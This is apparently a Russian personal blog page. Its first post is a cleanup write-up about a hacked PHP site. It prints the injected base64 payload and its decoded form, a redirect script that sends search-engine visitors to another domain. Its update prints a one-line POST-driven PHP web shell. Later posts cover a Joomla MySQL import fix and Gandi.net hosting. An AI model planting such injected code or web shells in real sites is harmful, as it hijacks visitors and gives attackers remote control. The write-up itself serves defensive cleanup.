Забавный вирус на сайте base64_decode

on Янв 10 in Безопасность, Общие темы, Проекты, Хостинг

Ко мне обратился клиент с задачей почистить сайт от вируса. Проблемы начались с того, что при переходе с поисковой системы Яндекс, с сайта клиента начало редиректить на абсолютно другой ресурс, но при заходе на сайт по прямой ссылке все отлично работало.

Вооружившись ФТП доступом ), полез смотреть. Во ВСЕХ php файлах был кусок кода при открывающемся теге <?php

eval(base64_decode(«DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcn
Nfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFR
QX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0
KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN
0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibG
VyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXI
sImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHI
oJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9y
IHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3
R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3R
yaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV
4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19t
YXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcm
VmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5
jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0
cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQ
poZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vaGFwcHluZXd5ZWFyLjM0NS5wbC8iKTsN
CmV4aXQoKTsNCn0NCn0NCn0NCn0=»));

Расшифровать этот код удалось при помощи этого ресурса.

И вот тут то я увидел что код просто гениален )

error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER['HTTP_REFERER'];
$uag=$_SERVER['HTTP_USER_AGENT'];
if ($uag) {
if (stristr($referer,»yahoo») or stristr($referer,»bing») or stristr($referer,»rambler») or stristr($referer,»gogo») or stristr($referer,»live.com»)or stristr($referer,»aport») or stristr($referer,»nigma») or stristr($referer,»webalta») or stristr($referer,»begun.ru») or stristr($referer,»stumbleupon.com») or stristr($referer,»bit.ly») or stristr($referer,»tinyurl.com») or preg_match(«/yandex\.ru\/yandsearch\?(.*?)\&lr\=/»,$referer) or preg_match («/google\.(.*?)\/url/»,$referer) or stristr($referer,»myspace.com») or stristr($referer,»facebook.com») or stristr($referer,»aol.com»)) {if (!stristr($referer,»cache») or !stristr($referer,»inurl»)){
header(«Location: http://happynewyear.345.pl/»);
exit();
}}}}

 

В двух словах, эта гадость отслеживает откуда пришел юзер и если он пришел с ресурса по ссылке из этого списка url, то идет редирект на чужой сайт. Очень красиво и сразу отловить такую заразу не всем удастся. Ведь на свои ресурсы мы как правило заходим по прямой ссылке.

Чистить проще всего с помощью netbeans

Скачиваем весь сайт на локальную машину, добавляем его как project with existing source и делаем автозамену по всему проекту. Этот кусок кода меняем на пробел или пустоту. После примерно 15000 автозамен сайт чист. Для надежность можно провести поиск по base64_decode и руками проверить оставшиеся файлы. Чистить все руками очень долго и муторно )

Удачи.

 

UPDATE 29/01/2012

Вирус проявил себя снова, искали shell на сайте и нашли

проверьте папку images в корне сайта там должен быть файл post.php со следующим содержанием

<?php eval(base64_decode($_POST["php"])); ?>

И еще кое что, я даже не знаю предыдущий ли это шелл, клиенту уже лечил кто-то сайт, но на всякий случай проверьте папку

/components/com_arhcive/

ее название не случайно с ошибкой, там лежит готовый шелл для заливки всякой гадости на ваш сайт.

Joomla 1.6 баг с Mysql, при переносе сайта

on Дек 20 in Хостинг

Столкнулся с интересным багом, и думаю много еще кто столкнется. Пишу решение тут, работает проверено.

Итак, эта ошибка возникает при восстановлении Базы Данных сайта из бэкапа или при переносе, особенно если вы делаете экспорт БД через phpmyadmin.

При импорте Mysql пишет ошибку:

#1064 – You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘USING BTREE)

Как правило это ошибка при переносе с более новых версий mysql на более старые. А это все хостеры, не желающие обновляться. Вот и я столкнулся с этой ошибкой когда переносил БД сайта из под ubuntu сервера, который стоит дома на gandi.net облачный хостинг.

Суть ошибки кроется в одной единственной строке, даже скорее ее части (выделено жирным):

KEY `idx_usergroup_nested_set_lookup` (`lft`,`rgt`) USING BTREE

откройте дамп базы данных с помощью текстового редактора notepad++ или чем-то еще, и сделайте поиск по USING BTREE

Вся проблема решается если поменять две вещи местами:

KEY `idx_usergroup_nested_set_lookup` (`lft`,`rgt`) USING BTREE

на

KEY `idx_usergroup_nested_set_lookup` USING BTREE (`lft`,`rgt`)

и все, дамп БД отлично разворачивается и сайт работает.

 

Надеюсь это вам поможет, пишите в комментариях, помогло ли, и о своих способах решения этой проблемы.

Все переехало на gandi.net

on Авг 29 in Общие темы, Хостинг

Все мои проекты сменили хостинг. Окончательно поломав сервер на gandi.net  и обмозговав всю сложность ситуации, я решил сделать там gandi ai server и не парится.

Вся сложность возникла в ОГРОМНЫХ проблемах при увеличении размера жесткого диска, точнее его репартинге в линуксе, поэтому gandi ai мой выбор. Все управляется через веб-интерфейс, сайты работают. Что мне еще надо? )

Для суровых и сложных проектов надо делать другой хостинг )

Кстати что вы скажете о моем клоне сервиса твиттер wish.osokin.me ?

Gandi.net

on Авг 24 in Хостинг

Небольшой пост об этом хостере.

В нашей стране мало кто слышал об этом хостере, но пару слов о нем сказать стоит. Во первых это уникальный хостинг основанный на сloud VPS. Вы можете наращивать мощности когда вам надо без муторных переносов сайтов и перенастроек VPS.

Из практического использования скажу пару слов.

Сервер создается прямо из панели, и запускается через минут 5. Но пользуясь панелью управления самого хостера я никак не мог что-то настроить то нет доступа, то SSH. В общем привычка работать с консолью мешает. В дальнейшем я разобрался с панелью, но решил не останавливаться на ней и заказал себе чистую систему на базе Ubuntu server 10.04.

Сервер вам дается чистенький как слеза младенца, ничего нет. Зато есть доступ в консоль. Но рутовый доступ так просто не получить, надо задействовать команду:

su – root

система запросит пароль, и вы уже root пользователь.

Связку LAMP надо ставить самому. Больше всего проблем у меня как обычно вызвала настройка FTP доступа, использовал proftpd.

По быстродействию пока ничего не скажу, я брал 1 shares. Для личных нужд, там всего один сайт. Рекомендуют брать 2 шары как минимум.

Сейчас главная проблема которую пытаюсь решить это монтирование дополнительного диска. Под систему выделяется 3 гигабайта а 5 надо примонтировать.